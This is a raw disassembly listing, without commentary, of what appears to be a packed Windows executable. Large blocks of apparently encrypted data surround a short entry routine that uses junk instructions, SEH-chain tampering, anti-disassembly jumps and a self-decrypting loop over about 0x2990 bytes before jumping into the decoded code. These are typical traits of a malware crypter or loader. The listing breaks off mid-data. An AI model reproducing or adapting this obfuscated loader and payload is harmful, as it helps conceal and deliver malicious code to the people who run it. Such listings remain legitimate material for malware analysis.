0A01DE403h, 0ABAAF06h, 5D7B7082h, 608AE835h, 38CCE7F0h dd 5A6570FCh, 2A518D29h, 8D84A0CAh, 905F02FCh, 30452376h dd 0ADEB80C4h, 85BA2138h, 1077E8D5h, 71CC90E6h, 4030807Fh dd 2FB1254Ah, 804AF819h, 0B08A21D7h, 0F5B7047h, 86A9105Dh dd 0B213EDD0h, 0B4214C9Dh, 3F20B158h, 5325881Ah, 95A4073Dh dd 23D735EEh, 8B79E8B1h, 42BA3F6Bh, 0C27FD525h, 8DFD729Ah dd 0B00300DCh, 93300542h, 7A8CD0Dh, 0B5DD0482h, 0E0FCC8C7h dd 68B9AB62h, 120D418Eh, 5A42D3FCh, 6B7300F4h, 46052B9Ah dd 3B5FF2E8h, 4033F2C1h, 0D8670384h, 3345FE51h, 0F1C8405h dd 5891A6EBh, 0AB16FA9Eh, 13D0DFE2h, 38BE61ADh, 30CDE0F2h dd 0FBC3D10Dh, 0C8692042h, 10B7C073h, 4805801Ch, 5053003Ch dd 0F0A1B0D2h, 901302C8h, 303E657Eh, 0D08AE864h, 449B20B2h dd 34DB3500h, 2F4B1D52h, 493700D4h, 0F011C80Ah, 64D64038h dd 0B782F062h, 329001DEh, 48491039h, 9B12E04Dh, 0B0E1225Dh dd 5132FE11h, 34E0A25Dh, 4E51EEB0h, 16E0FDE6h, 0ED78EC31h dd 7D46E5E8h, 0F605DCDFh, 0D580F8F7h, 0E6F9D782h, 20100A6h dd 641EDF8h, 6E700807h, 0E0D420Ah, 389A7476h, 439E1413h dd 1A5999E4h, 0F04E1517h, 8A737271h, 0A6252423h, 2A917A79h dd 80AD2C2Bh, 32313097h, 36359CB3h, 3AA1B837h, 903D3CBBh dd 0F235553Eh, 6F3A4483h, 52114607h, 0C351C00Bh, 4BB83B47h dd 569E3C4Ch, 0DB555857h, 5C34F646h, 0E357915Eh, 668FBD59h dd 90226067h, 636D6C6Bh, 0FC6A65C2h, 0DC50FB76h, 7540A8h dd 0C175747Eh, 836F03C0h, 0FB858206h, 6510E371h, 36A39448h dd 6D188C9Bh, 8EE21F23h, 0A822FCFEh, 672D9C9Bh, 0FD9D839Eh dd 9F3567F6h, 35723137h, 0DFBDD0F7h, 6A323F6Fh, 79B5B4B3h dd 0BAB9B8B0h, 0BCBBh, 1568h dup(0) assume ds:CODE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; FUNCTION CHUNK AT 0042AA5B SIZE 0000004D BYTES xchg ebx, ebx push ebp mov ebp, esp call loc_42AA1A stc stc xchg ebx, ebx call sub_42AAC5 xchg ebx, ebx jmp loc_42AA5B start endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42AA1A: ; CODE XREF: start+5p push dword ptr fs:0 mov fs:0, esp xor ds:dword_42AAA9, ebp mov eax, eax xchg ebx, ebx xor ebx, ebx push 4 push ebx push 200h push 8000h push 8 push ebx push 80000000h push ebx push ebx push ebx push 8 call ds:__imp_GetProcAddress ; START OF FUNCTION CHUNK FOR start loc_42AA5B: ; CODE XREF: start+15j stc nop sub eax, eax loc_42AA5F: ; CODE XREF: start+65j dec al or al, al jz short loc_42AA69 jnz short loc_42AA5F jmp short near ptr loc_42AACB+5 ; --------------------------------------------------------------------------- loc_42AA69: ; CODE XREF: start+63j cmc xchg ebx, ebx call $+5 pop ebx mov edx, edx sub ebx, 0FFFFFF9Dh xor edx, edx xor edx, 2990h jmp short $+2 mov ecx, ecx mov ecx, 4Dh jmp short $+2 push ebx clc loc_42AA8F: ; CODE XREF: start+A5j mov al, [ebx] xchg ebx, ebx clc sub ax, cx nop xchg al, [ebx] jmp short $+2 inc ebx inc ecx sub edx, 1 nop cmp edx, 0 jnz short loc_42AA8F pop ebx ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0BDh dword_42AAA9 dd 0 ; DATA XREF: .rsrc:0042AA26w ; --------------------------------------------------------------------------- cld stc stc mov ecx, [ebp-8] mov fs:0, ecx mov eax, eax mov ecx, ecx leave xchg ebx, ebx stc jmp ebx ; --------------------------------------------------------------------------- cmc nop ; =============== S U B R O U T I N E ======================================= sub_42AAC5 proc near ; CODE XREF: start+Ep arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax loc_42AACB: ; CODE XREF: start+67j pop dword ptr [edx+0B8h] retn sub_42AAC5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 504F4E35h, 7857DD51h, 1FEFDF51h, 0E75B5A8Bh, 6088DDE5h dd 88BFED61h, 6848E769h, 0E07B6A69h, 20F8C798h, 7473A43Ch dd 0A1FAFEFFh, 34047A79h, 807FB04Ch, 0F86B7B01h, 0D1F118Dh dd 778B8AB2h, 14279196h, 1F9392BAh, 0B32298F0h, 1D8325EEh dd 49A3C209h, 25A3A4CAh, 0B8B7AB92h, 0D02735A9h, 40643BB1h dd 6DB3C2EAh, 0B8B7B6B5h, 6EA35EACh, 4BBFBEBDh, 0C46EAA89h dd 89F2C6C5h, 0CC08433Dh, 47CFCECEh, 0D4B65343h, 59D6D5C5h dd 442F2854h, 0E8535146h, 0E5E3CD62h, 0D75CE6E5h, 2FEEAD74h dd 683F7929h, 442B7357h, 0FBE06B3Ah, 1C6D85CCh, 3174888h dd 7B053F4h, 80886CC8h, 815B7E0Bh, 15878F16h, 78547580h dd 2F91B89h, 45430572h, 92AA4229h, 17267B45h, 762BDD34h dd 2F47A4B4h, 0B763B928h, 0B9C02534h, 38474774h, 258BC59Fh dd 403F7325h, 0CF8B2D41h, 5880CACAh, 4C4B6F49h, 6FC35E4Dh dd 5877CEDCh, 91DF0BE2h, 0E7085A69h, 70A12AFAh, 0EF070D61h dd 78A93A22h, 3C20F569h, 0CD6F7EAFh, 37A48134h, 31CA48DDh dd 7C7BA2BEh, 90AF5808h, 630955ABh, 6A5D0CC5h, 0C4EE57Eh dd 288F8E6Bh, 4FC6EEFEh, 2E70BE84h, 0C40C961Bh, 7145DDAEh dd 3C9578BCh, 60CC6E9Fh, 4672FAFFh, 2D438F84h, 0DA0C78FCh dd 0E34F57D3h, 0E93880F2h, 98FF3CC5h, 0CC6F3F57h, 1434AD9Fh dd 0E8E27B43h, 0C78140A4h, 0B22026Dh, 0AED4BF71h, 9CAF5A71h dd 380FA19Eh, 0F06612BCh, 2FFEC5C6h, 0B2BC992Fh, 8D8F7E39h dd 0BD6CB1FFh, 0F04FD61Eh, 0B49C2134h, 0CC643FDFh, 4EA3C7C2h dd 0BD3DA68Fh, 743FCFCAh, 9D1F93EAh, 0E34A42CFh, 5BFDB9Eh dd 0C7AFAA8Fh, 68045E84h, 51F2123Fh, 0E0DF5B23h, 8CCCFDFFh dd 488FBE54h, 0C86CA80Ah, 0B14F262Dh, 0D281DF08h, 0AD9C7EEFh dd 4C7FA743h, 0CD4CAFAEh, 0B43F38D1h, 65F76EF0h, 0EBEF82BEh dd 1EDD4B8Ah, 1CF0EA8Fh, 0EC932DFAh, 676F523Fh, 60699AE2h dd 5417FDFEh, 197EE4Fh, 0CCB5F83Ch, 82ABFE1Fh, 24D98A7Fh dd 66A5531Ah, 4CECF22Fh, 0C22DAA9Ah, 71BE5AFFh, 189F8EF4h dd 5464DBFh, 904F02C6h, 0D4AF1700h, 6D9C5EEFh, 2C7F8463h dd 27E2BAEh, 0F4F667Eh, 0DB9798FBh, 91649B7Fh, 303FB1E4h dd 103A75EEh, 0E6FFD568h, 24BE2EFAh, 0D0669Eh, 221D0F92h dd 2C12CE4Fh, 9BAF879Fh, 0D051D5A3h, 499E17Fh, 38379F45h dd 0C4EFD23Bh, 0A0D0069Fh, 0C25DAFD2h, 0C8146E4Fh, 3E7126B2h dd 7029D61Fh, 0A4AF72CFh, 0D8793EE3h, 63639A00h, 589FA7F5h dd 7430DA00h, 0B6C5A3BAh, 0D6C742CFh, 1F4F771Fh, 54C5C00Ch dd 781446DFh, 0FDC8123Fh, 0FACF469Dh, 0E1233FFh, 0BDCEB885h dd 7CDFC055h, 33124736h, 0F4858034h, 9C1E7EDFh, 4C6FB40Bh dd 80CFECF7h, 78FBE8FFh, 0B78F9AABh, 2CF5944Ch, 86A4431Fh dd 77AFDA8Ah, 466CABA8h, 9D6F4241h, 35E71999h, 0D72FBAFDh dd 788DE0BCh, 40E622BFh, 0F04F581Fh, 12710F06h, 28EEBEEFh dd 57EC8140h, 3BCF36A7h, 425947Ch, 29FF8D5Fh, 85074732h dd 15CAF62Fh, 0C49F48B9h, 77104E5Ah, 3C9881BCh, 1A4C519Fh dd 0B72FEA11h, 0C9402D55h, 25B3E732h, 0ADCA962Fh, 649FE8CDh dd 696E077Eh, 5ECC140h, 98CF76A8h, 342F9B57h, 77578BECh dd 0DB6A02CFh, 0F96536F5h, 87ABBA32h, 0F839A1C0h, 0C6BEEB3Eh dd 1DD7309Fh, 0E43C9D8Ch, 8A8275Fh, 4064A2BFh, 7F9E145Ch dd 211A7072h, 0D80F0BE3h, 0A70D723Fh, 9BD3ED1Ch, 9B43ECDh dd 0A89F4BB3h, 0DE686813h, 52D2E181h, 0BF7C8C7Dh, 500FC833h dd 0AC6FA413h, 0E0E91216h, 1499BE86h, 488FAE87h, 4D2F0CB7h dd 604DC0EDh, 0D2F5BFF2h, 9BC77EEFh, 2887727Bh, 0FBCFE66Dh dd 2F2F04ABh, 424FB82Bh, 0EEF1ACBFh, 6CE7B6F5h, 9EAFEAADh dd 739EFDFh, 0C2FC71EFh, 4FCF9669h, 53A63F38h, 8890F5E3h dd 0BC3CAFBFh, 394F662Fh, 24AF9636h, 0FDE22D66h, 9C6F1FC0h dd 454C268Fh, 0F43F4EBDh, 5CDF6EBAh, 0CBC9A2D5h, 5EFD8B0Ah dd 842C2A8Fh, 50E353BAh, 2C6F9372h, 60CFD7B7h, 588CADFFh dd 2F449084h, 0F208740Fh, 0D7B442B8h, 0FC5ECA5Ch, 980F032Fh dd 0EA38742h, 75BE668Fh, 343FB81Dh, 8E24CD92h, 76EFF2A1h dd 0DF51E01Fh, 14C5A00Ch, 39F757DFh, 87FED23Fh, 84CB8F40h dd 69A6F12Bh, 89FACD5h, 0E17238EEh, 703FD511h, 53DE3E7Fh dd 0C82DDC74h, 80AFF73Fh, 0CE52EC01h, 0A3D5ACFBh, 2973233h dd 4B096CBFh, 1D0CB4h, 786F2F7Fh, 0F037713Bh, 0DF6F123Ch dd 0AA72D7D8h, 35DFF18h, 5A44AE4Fh, 0A0CBFE40h, 43A1C9BEh dd 0A530726Bh, 180F8C42h, 0A2BF66EFh, 0B31F3650h, 0A2F58F92h dd 0A8144E4Fh, 8BE69688h, 0CF479A13h, 94C600FCh, 5D486DFh dd 0DBC27182h, 10BD6C14h, 0D5B525FFh, 889016A3h, 51F659BFh dd 0F03F5401h, 128DFF72h, 98F8BEEFh, 8C9611C6h, 0DACF50C5h dd 8E2F44FFh, 2890F65Fh, 0A06AC2BBh, 2A7FF675h, 736BB583h dd 0A7A7343Dh, 5F6F924Bh, 0EF996ED8h, 29B45952h, 0C89F4390h dd 0CC20930Dh, 0FE692B4Ah, 2832CA8Fh, 0E79A41BFh, 0CCB7EAE7h dd 0CF58FBh, 342FA826h, 688FCE60h, 9CEF02BFh, 0D04F361Fh dd 4AF93FBh, 380F9EDFh, 5BC288F0h, 90BDF814h, 3008E5FFh dd 0D3C42EE3h, 0B932501Dh, 603893B4h, 39463C7Fh, 0D8FF7C65h dd 4E23F7B8h, 3627A68Fh, 302FDAFFh, 0FDFA7D4Ah, 0B5C172EFh dd 0B56B1F91h, 65DD0F1Ah, 39B4D3CBh, 41D6C23Fh, 0E0DF446Dh dd 0D67FFF88h, 74D2AE4Fh, 610203FDh, 55ACB7D9h, 0FE51995Bh dd 0EBE36104h, 9F9B68E3h, 80430984h, 66DBED23h, 0E87DB3CBh dd 0FD4C947Eh, 0E9155B13h, 84704FA3h, 9934101Eh, 45ADF70Bh dd 418CABBBh, 0F2188A4Fh, 0CB8F2F02h, 0B09047ADh, 8F212644h dd 57C2EFDEh, 2A52BEA0h, 0F11B935Ch, 0DFAC4BCDh, 8C7B3F8Bh dd 8CF0F32Dh, 41C105BFh, 4474AA80h, 0E50C7C27h, 0CAD25EC3h dd 915B339Ch, 7CEEF553h, 4493DFE7h, 2662602Eh, 0D4027220h dd 0F54F4ABAh, 0B83B3377h, 79F4F007h, 25AD32DBh, 19238B7Bh dd 0D3FB7F24h, 0BC82478Eh, 751B2F5Ch, 964FDBFCh, 408CCFADh dd 19218048h, 0B36F6B0Dh, 0B9953AC4h, 88F01F63h, 6AB8E0F3h dd 2F8CB6ACh, 1516D660h, 0C0D850EBh, 0A2781184h, 712E725Ch dd 5CA8ECF3h, 11588E9Ch, 0DD60E44h, 0C0C68FEBh, 0C8742294h dd 600B1820h, 3F0F9FC4h, 113BA69Ch, 0F915763Ch, 0B5755FE3h dd 4850138Ch, 50FB07FAh, 609FC3C4h, 25579E60h, 0ECF445DFh dd 0BFA157E9h, 802D1578h, 8ADBFF3Ah, 4182C0C4h, 42CB052h dd 0F516B6E0h, 0A09620ABh, 71340B54h, 5EC6F811h, 3983A7BCh dd 54F0A862h, 0ECB05D2Bh, 0AE914B73h, 0B1180840h, 54D0D77Fh dd 2F74A7B1h, 0E52D9872h, 0FFCF4BFBh, 0BA553F8Fh, 65F4FA48h dd 35BFD2E0h, 90909D79h, 0E20C7A42h, 0DBBE50AFh, 2C62259Ch dd 83EEF84Fh, 87A2CDDCh, 1A38742Dh, 0CCEF762Eh, 0D5B245CDh dd 56821D6Eh, 6CE7E329h, 408CE53Fh, 252B8F61h, 0E6DB6E40h dd 0BC8430C8h, 9C30155Ch, 96E3DBEEh, 588CD6A8h, 38348B48h dd 0D1CC7EEEh, 0A9A206AFh, 710C0E4Eh, 6DBCD713h, 15ADD18Bh dd 9037B3Bh, 0F9AF6FE4h, 0A8702B89h, 830C1B69h, 5995CCDAh dd 4A2FBFA3h, 0FD038048h, 0B8B06EE0h, 1072257Bh, 7818FC4Ah dd 54B8A4C4h, 2025129Ch, 0F5E96A60h, 0C67F4ECEh, 0A4382488h dd 6F0C091Ch, 55AAC5F3h, 18754A61h, 0F9F4701Eh, 0A5AD57CBh dd 0BECF0B7Bh, 59E1DD0Bh dd 1874C2C0h, 152B16Dh, 0E4F690Eh, 0A9812DABh, 68341240h dd 51D2010Dh, 2894B9AEh, 171B88FFh, 0DCB053EDh, 9F8C559Ch dd 8E2EFF53h, 67BBD87Fh, 2C70A38Dh, 0F122A75Ch, 0DFC176EDh dd 0A7623F9Eh, 6503DC5Fh, 359DD2E0h, 368EAD84h, 0F8128F4Eh dd 0F8BD4DC8h, 9C262671h, 7915F444h, 522FDFE3h, 2D3F7D73h dd 0DB019211h, 0C3A23BBEh, 895A394Bh, 6CDDFE09h, 2A8CC2F2h dd 14328B4Eh, 34D58928h, 0BA5F42A9h, 7F4C1652h, 62E80C13h dd 2090BFABh, 173C832Ch, 0AA6F6B0Dh, 0C58457B3h, 72F8134Dh dd 65C1DD01h, 1B88B6A0h, 0B2EAA39h, 0E2AF78DCh, 0B1611593h dd 653D174Bh, 61C4DAEDh, 114CA7A3h, 0A808804Ah, 0B1C3560Dh dd 0AF721F79h, 78E20F1Bh, 5FBDC7CDh, 0A30C16Bh, 0F4226F2Eh dd 0BB9563CDh, 8962055Fh, 6E10F60Eh, 0B09FCBD3h, 1756B65Eh dd 0FBFE7104h, 4C9B57D6h, 9E2D157Eh, 0B4DBFD1Ch, 4083B3C2h dd 0FE3B9552h, 0EDF06408h, 0A981EA9Ch, 8B0F143Eh, 0ECCB001Ch dd 3B72B5AEh, 0D2F8E5Ch, 0DAB46209h, 7F7B4791h, 9522053Bh dd 48D5EBC7h, 110FA38Bh, 0FE0C8651h, 7C34BF9h, 93722E9Ch dd 8BF4FC49h, 2FCBE7EBh, 35639793h, 0F815737Fh, 0DDBD50C4h dd 915F618Bh, 99CF0739h, 468CCEE1h, 7439389h, 0D105872Fh dd 309042CDh, 893B3848h, 6CF4EC0Dh, 3090D7EDh, 252B8F61h dd 0AEB5BFFh, 7B581EA0h, 582BF0ADh, 750136DBh, 2393AD9Ah dd 1D5A834Eh, 0D1C1D208h, 0C57F55C2h, 7D0C0561h, 8D0E624h dd 0D8EC78Dh, 0F9217B54h, 0D9D36BC9h, 99670384h, 730C243Fh dd 76C3CBCEh, 195CC6A0h, 0A8D08624h, 0B63D1509h, 8B854C1Dh dd 96B014CBh, 2E07D05Ah, 0EE3F8702h, 0A44A468Fh, 0E47D30A9h dd 303FAD91h, 0AA3557A2h, 0F4D2162Fh, 0DCF1888Fh, 63D80BDFh dd 0A4C0FA16h, 18CFE69Fh, 0B70BE684h, 0ED794EC5h, 0F622B290h dd 8B4124h, 0D85F9E06h, 6A40DE45h, 0D2FC71EEh, 0A3CF9669h dd 0E9A6C6BBh, 889F2C89h, 0FFE7E63Eh, 0BDA3EB9Ch, 0DD828A8Fh dd 3041BE85h, 8C61F20Fh, 0F1A0EA16h, 0C57F1AA5h, 0E812A645h dd 5AC9F6B7h, 0B2C4356Fh, 47AF1A71h, 2AE27E23h, 0B566D2BCh dd 88997DDDh, 6BF23C1Eh, 89B72D2Eh, 0FB7601A2h, 304FFBA3h dd 57FA7Fh, 130FFE0Dh, 476FDC6Bh, 180F90DBh, 343F9AFFh dd 0C261D0C5h, 8EC32ABFh, 0D0E9361Fh, 0B35F9DD0h, 28EDF474h dd 5BB8913Fh, 90BDEC14h, 88A6BFFFh, 801CF9F0h, 9FEF92CCh dd 70C4631Bh, 0A7AFFA8Fh, 27421530h, 0CEECFDEDh, 0BDCFB6A9h dd 74171482h, 77BAF65Fh, 616AE162h, 103F74E5h, 1DCE3904h dd 6237DEDFh, 27D63102h, 0D0BD0C24h, 0F2B607FFh, 208FAE48h dd 0EB7681B8h, 7E099B96h, 0A42C4A8Fh, 979C9E13h, 4C6F9B06h dd 0FBD9AF7h, 6ACA592h, 6D8F5E79h, 99EA96FFh, 50287E9Ah dd 32E6D27Fh, 0FF9A9DDAh, 0C4BC95E2h, 20CF869Fh, 60943B34h dd 9B8FFE56h, 636CAFF8h, 0A14F6629h, 74E0BBCBh, 0CDEE8FB0h dd 8C7FD06Dh, 4FF32A22h, 425806Ch, 2C51EB5Fh, 5C47F7BFh dd 3D4FF61Fh, 0CFFA1700h, 47B95EEFh, 377D07B4h, 921FC68Fh dd 944B1A44h, 8C122E45h, 81AE88B3h, 303FB1EBh, 0E9EEEAC4h dd 98FF1939h, 0CC49321Bh, 0EA29294Ch, 34380237h, 0AA1CCE5Fh dd 0D5B56C60h, 69926614h, 14C6AA0Ch, 3093A3DFh, 1E89437h dd 0A0DF05DFh, 0A9729CCAh, 88F6E87h, 9970DFBFh, 703FF184h dd 93EB8706h, 0A4923EEFh, 0B6F7A1Bh, 40CF1F23h, 6CD35BFFh dd 0DC8F0E5Dh, 0DCF046D7h, 9AC4B51Fh, 0BFAF9A71h, 9C936B5Bh dd 0AC6F133Bh, 78CF704Fh, 142F7AFBh, 48610091h, 725C810Ah dd 834F2609h, 0E81ED7C8h, 0C90F7EE0h, 9D715CF0h, 8027E775h dd 86EF1AFFh, 0F651E33Ah, 0A15D82CFh, 0FA6A91h, 85AB52CBh dd 7461EDFh, 0EE8F36CBh, 95FE869Fh, 543FD91Dh, 0DC4F7318h dd 8CDBC5C9h, 0F029AA96h, 7ADEBBCDh, 66A9531Ah, 1138F22Fh dd 0F61F5B5Fh, 0E20DCF12h, 5F1C8E4Fh, 369EF4FBh, 7CCCE63h dd 0C4AF2B7Bh, 0D24F9186h, 0C7E24B2Fh, 901F164Fh, 667FAAAFh dd 0D659C3FAh, 407062CFh, 304F9817h, 5C8B1EF2h, 0A701939Ah dd 0BBC2322Fh, 0F0FE7814h, 387157FFh, 62CD4E5Fh, 172D036Ch dd 0C044BA9Ch, 81A84D7Fh, 28FF9E74h, 0C240D53Fh, 6053D82Ah dd 0D546C202h, 8C9E6E5Fh, 3CEFA3CFh, 559D49Fh, 922F508Fh dd 0D9934DDFh, 8C6F7240h, 0D1C486A9h, 44255BB9h, 0FDD65C28h dd 2226CDFDh, 0EB8E7761h, 4419DBC1h, 0C7C2B4B0h, 0BC961CACh dd 0A1BA9F9Fh, 1406FF02h, 0CD1CAE5Fh, 7CDFE046h, 0ACA716B5h dd 34AF4A7Fh, 1284FD2Eh, 796FA202h, 80CFE69Bh, 0B4A69F02h dd 79F84E5Fh, 9DEF82BFh, 9018649h, 0E92CF9C9h, 3B0F1EDFh dd 18035A79h, 8953959Ch, 402FBAFFh, 2442633Fh, 41E6FCE3h dd 0F04F569Bh, 48F9724h, 792CDEBFh, 11B975Ah, 0A0FB92EAh dd 0A2B0368Ch, 7CF7AEBAh, 0DDC0D7EBh, 5A5FF989h, 0DCFC5962h dd 0F82E2521h, 3C196332h, 0F7CFC682h, 2926AC5Dh, 0C89F6CC5h dd 0CC1F22EEh, 292766EFh, 0A8AFCA7Fh, 74FDF50Ah, 0CC8BD3D2h dd 0CFD9FBEAh, 74AC9AEFh, 21C204B3h, 0CB2B8738h, 6800362Fh dd 84AF6C7Fh, 0E8456F30h, 9B754782h, 154C068Fh, 0D43F3572h dd 3C58A10Fh, 0DA1D290h, 22C41570h, 2BAFFAB1h, 4DEE62E3h dd 0C7F5019h, 0BD4F6967h, 743FCF8Ah, 2520760h, 4BF06CC0h dd 1462B54Eh, 42C9FB2h, 0A3E2B8D3h, 0A72242B6h, 5DBB969Eh dd 2444BD8Ch, 4409395Fh, 0F7EFE2C0h, 0B0501E95h, 0BFC74D7Fh dd 539A5EA6h, 0C090184Eh, 15B12DA4h, 0FBB248A6h, 0A41AA16Ah dd 0EC9B0D8Ah, 10F60F3h, 330654CDh, 0A8ED8474h, 36E4DD3Fh dd 0A3CF9669h, 935AC6BBh, 4F96D7DEh, 14EF4CBAh, 0F30EDF1Fh dd 6AF6BD3Eh, 0A5095B3h, 0E524AE7Ch, 0D3AE58FEh, 0C05B40A2h dd 8CFDF712h, 28C2D9D2h, 2261AB5Eh, 1AFB981Ch, 0D1A250C4h dd 71334092h, 7FEBF627h, 94A1DFCDh, 2F418F93h, 0DB27761Ch dd 324F4ACEh, 0B95FCA7Fh, 683F8D0Dh, 2597E1CDh, 1228547Ch dd 0D0D0811Eh, 868846C0h, 5AEF2E6Fh, 0B00AF9D8h, 2C82CFA1h dd 0D25954Ch, 0B1C28735h, 0DA68E6CDh, 0B4F50342h, 5AB8E441h dd 11E9B7ABh, 704FD6B7h, 4130477Fh, 0D8FF5C4Ch, 211EF7F9h dd 0CFCFA68Fh, 8425B86Ch, 9777CF5Fh, 0EAC91EEBh, 0DE25EB96h dd 0A0E8AA8Fh, 92A40C1Bh, 9B959399h, 5DB27B8Ch, 24669494h dd 4A45395Fh, 210D470Ah, 78DF9B9Ch, 69364A8Fh, 18FFB6B1h dd 36AD3B45h, 0BBD341Bh, 0F3511B50h, 9F79E46h, 9FB621E6h dd 54479A0Bh, 7C172EACh, 6B0F1EDFh, 308515F9h, 0AFCFD2DBh dd 6465446Ch, 0DC4FF95Fh, 0BE8995B4h, 0C2C4956Eh, 0D3AF7AB1h dd 0CFF7512Fh, 649611C1h, 0C0CF2696h, 0C37220AEh, 6CBDE12Ah dd 0CBEF0EF3h, 801D80B4h, 7203127Fh, 0F837DD5Ah, 1BD6B109h dd 50E1A21Ch, 11F80DFFh, 0B85116E4h, 0CD2093BFh, 0E18066F0h dd 0EA1CA950h, 0F00F0ED9h, 0CC6F3236h, 3214B954h, 0F815ACCEh dd 378F1AABh, 0ACF58C4Ch, 0D0495E1Fh, 377E6A7Fh, 1638904Fh dd 6CB0780Bh, 7264C5CFh, 4D2F2A11h, 0F88DA8E4h, 0B9C0B1BFh dd 6038939Ch, 0E42C937Fh, 890F4EDAh, 3AE9E7C2h, 5862A68Fh dd 742FDAFBh, 9119C3ECh, 599842CFh, 1E5CCCh, 0F971927Fh dd 0BFB55D5Ah, 0BC75BFBCh, 631F469Fh, 2445699Ch, 0BD1CAE5Fh dd 7CDFE0D4h, 0B1A9EAEFh, 0FC614A65h, 980F7EDDh, 7B492742h dd 4054E68Fh, 3111EF35h dd 0D8ADAEECh, 2249B4BFh, 3EEC2B9Ch, 0DA5BEA8Fh, 6A40EE2Fh dd 1B85C782h, 0AF97868Fh, 6466E06Ch, 0CF14B45Fh, 0BCEF1280h dd 0F04F62B7h, 63E2C17Fh, 6A22899Eh, 0C823B611h, 3A64E59Fh dd 872F4AD1h, 288F9547h, 0BD7C4FBFh, 394F0627h, 0B27DC704h dd 5375EEFh, 4D6B10Ch, 60CFC69Bh, 4D75C3AAh, 0E66373A9h dd 0FC23AEFBh, 0FEC92B4Ah, 242CCA8Fh, 9A2482EAh, 2402323Fh dd 0CF66A4h, 3D462F84h, 0E568CE4Fh, 0ACF6F424h, 0E5555E1Fh dd 71324932h, 38FFDDF1h, 7CEBE13Fh, 21CF069Dh, 0D430AAE3h dd 9B7C25Fh, 0ABEFA2C0h, 605D0CB4h, 346B8B7Fh, 880F3EE0h dd 0C09A6B6h, 366465CDh, 0F92FCAD2h, 0A504679Fh, 0DCE2CAD7h dd 6AC4B51Fh, 0DFAF9A71h, 576C613Dh, 0AC6F0221h, 654C2F34h dd 143F78CEh, 4A24AD8Fh, 1EFD2E2h, 29D3255Fh, 5FAF4A80h dd 189A8A1Fh, 0D1E68242h, 80DF047Ah, 75EE9FB9h, 42904E4Fh dd 0F6F0ACBFh, 4EC4F51Dh, 7AFDA72h, 3C1E9DD7h, 0EC6F531Fh dd 3B64130Eh, 0EE2FAAF1h, 57E2404Fh, 0CCB5C04Ch, 0EF8FDB1Fh dd 24B0CAFCh, 0D4AC4BDFh, 3D6FE221h, 4AFBCE97h, 8857B912h dd 568F8E5Fh, 90686896h, 5DECA43h, 0C49F48FDh, 0E6891B6Ch dd 2D20922Fh, 0EF79E3B7h, 1BBC8752h, 228F3E59h, 0FCDB8ABFh dd 0E381961Fh, 53B93FF2h, 5C9CFEEFh, 61E4261Bh, 0DFA8F7h dd 2E9DA92Fh, 5CB312E6h, 9EE7A200h, 8A4137D5h, 7795C7Dh dd 30F362E6h, 2D66F3BFh, 9BA00E3Fh, 33F5E3Bh, 951CBE2Dh dd 3CDF8177h, 704FF2B7h, 9A952F7Fh, 0F83D5E97h, 31595211h dd 8ED8BC4h, 5467FF97h, 0E2998184h, 0FCA58BF2h, 85DE4D1Fh dd 449FC875h, 787B2260h, 0AC49123Fh, 6F229D4Fh, 2466846Ch dd 0B81C395Fh, 56EFD2CCh, 4B3A391Fh, 7C6057C8h, 180F7EE4h dd 468B9719h, 0F5BE3D9Fh, 0B43F38D5h, 189B12DEh, 23478DD6h dd 0CD4FB61Fh, 94A58AF4h, 742F5DFh, 0FC965CACh, 2E0F0B9Fh dd 0CDC472Bh, 0B8FFE3Ah, 0CCDC925Ch, 6DCC561Fh, 249FCBBAh dd 58790CC6h, 7B42A870h, 0B0FE2C14h, 0F4E7DDFFh, 0A320BD39h dd 147C4F61h, 0E04F064Ah, 0F955FC84h, 12373EEFh, 8DD6B105h dd 5972DD2Dh, 0AF30D184h, 0E3DEB905h, 0B434EF71h, 434FA60Ah dd 0FFBE511Bh, 0D6ED158h, 0CC7F1045h, 0F546E31Fh, 0E8309AEFh dd 0BDBF3685h, 31B602BFh, 0D03F34B5h, 456E07FFh, 0C0F9EEFh dd 0CBEC1930h, 0A0CF1689h, 1A2F3AFFh, 0F8D0B5E4h, 3408A2BFh dd 0B79E15C9h, 0B49C8AFCh, 0D80F3EDFh, 10B12FBFh, 7FC9B39Fh dd 1356C8DFh, 0EFE2E49h, 0C2C86E9Fh, 0CF2F5784h, 6118FE5Fh dd 57A3FEC4h, 84CB55Fh, 1016844h, 11505FCBh, 686FCE65h dd 9C26C2DFh, 4DACCBCEh, 0B8F9C5Ch, 0FDF37000h, 466493D1h dd 0A52B0B4Dh, 59D3EE21h, 317BC1AEh, 0C50AA9Fh, 0F12F6F0Fh dd 0A9CF4EA1h, 9B340E57h, 60C5F30Bh, 3482667Bh, 0ED0BA860h dd 0A8895509h, 93E92FD4h, 88320A40h, 4CEF8E8h, 787BAA80h dd 0AC18935Bh, 0A0B35400h, 8C4E43A1h, 8EAFBA33h, 420FD4D2h dd 2E749F8Dh, 0FDCF7D1Bh, 0D1B055FFh, 26646C8Bh, 72F4EE52h dd 46901ADCh, 27484E84h, 0E2CF4E2Ch, 0CEB43FCDh, 44861D5Bh dd 7DFCED1Eh, 40A81220h, 0E0428FBFh, 0D9D4830Bh, 0BC58EE80h dd 780F159Ah, 0B1F4EA00h, 40510BE7h, 3D1A9893h, 7C0DC658h dd 0B8A40BF4h, 0E708ADF5h, 0F0347DE1h, 7E836E83h, 3AEAAF72h dd 0B07393FDh, 0A7848F25h, 0C6F723Fh, 40CFA69Fh, 742FDAFFh dd 0A88F0E5Fh, 0DCEF42BFh, 104F761Fh, 44AFAA7Fh, 780FDEDFh dd 0AC6F123Fh, 0E0CF469Fh, 142F7AFFh, 488FAE5Fh, 7CEFE2BFh dd 0B04F161Fh, 0E4AF4A7Fh, 180F7EDFh, 4C6FB23Fh, 80CFE69Fh dd 0B42F1AFFh, 0E88F4E5Fh, 1CEF82BFh, 504FB61Fh, 0EC4C6D9Fh dd 0B80F2E1Dh, 2E13B7BEh, 1FCF868Fh, 0D13B7D8Ah, 1F9E060Eh dd 0CF22876h, 0D4731A96h, 56B3CCA6h, 5051F9F8h, 0CEEAE64Eh dd 0BC911193h, 0B6A7CF88h, 0AD188E4Fh, 5CDF0423h, 0D2D2FBF6h dd 0E5680C67h, 700F621Dh, 3C8B51BCh, 60F36E9Fh, 7497FAFFh dd 458F2E5Fh, 0CD2EE3Ch, 18586F1Fh, 2432D66Bh, 0E76660E3h dd 